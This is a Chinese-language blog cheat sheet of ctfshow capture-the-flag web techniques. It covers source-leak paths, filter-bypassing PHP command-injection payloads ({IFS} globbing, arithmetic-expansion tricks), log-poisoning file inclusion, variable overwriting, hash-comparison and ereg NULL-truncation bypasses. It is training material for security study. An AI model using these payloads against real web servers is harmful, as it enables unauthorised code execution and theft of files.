加载中...

ctfshow 知识总结


信息泄露

  1. url/.git/index.php
  2. url/www.zip
  3. url/.siv/
  4. url/index.php.swp
  5. url/index.php.bak
  6. url/.hg/

无参rce

首先总结一下读取flag.php的操作

cat/tac/system/nl/show_source/echo+file_get_contents/var_dump(scandir(‘.’));(扫描目录并回显)/highlight_file

文件复制名法:cp${IFS}/fla?${IFS}/var/www/html/a.txt||ls 然后url/a.txt (当然也可以试试移动法)

PHP几种伪协议,详见我的另一篇文章

过滤字母数字,没过滤 .和?

可以考虑远程文件上传,利用PHP特性,抓包来传递参数

过滤字母数字,.和?

可以利用PHP的特性:输出后自加再取反

原理是:
${_}=""
$((${_}))=0
$((~$((${_}))))=-1
然后拼接出-36在进行取反

注意的是:${_}会输出上一次的执行结果

/?c=$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(()))))))) 即C=36

日志包含法

先再UA代理那里改一下: 然后url/?1=var/log/nginx/access.log

最后post传参 参数=include($_GET[1]);&a=要执行的命令

输出所有变量法(POST)

include(‘flag.php’);var_dump(get_defined_vars()); 也可能是根目录的/flag.txt

include(‘flag.php’);echo $flag;

incldue(‘/flag.txt’);

PHP特性

运算符顺序

&& > || > = > and > or

1
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);

所以以下判断只要v1是数字,即符合语法,跟v2,v3都无关!

PHP变量覆盖

变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击。

经常导致变量覆盖漏洞场景有:$$,extract()函数,parse_str()函数等.

哈希值相等判断

数组绕过,数值相等绕过,以及0e开头哈希值相等绕过!

ereg漏洞

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

Exception 异常处理类

FilesystemIterator 获取指定目录下的所有文件

可以查看当前目录的第一个文件,不带..或者.表示上一级和当前目录的文件!


文章作者: Wuhen
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Wuhen !
评论
  目录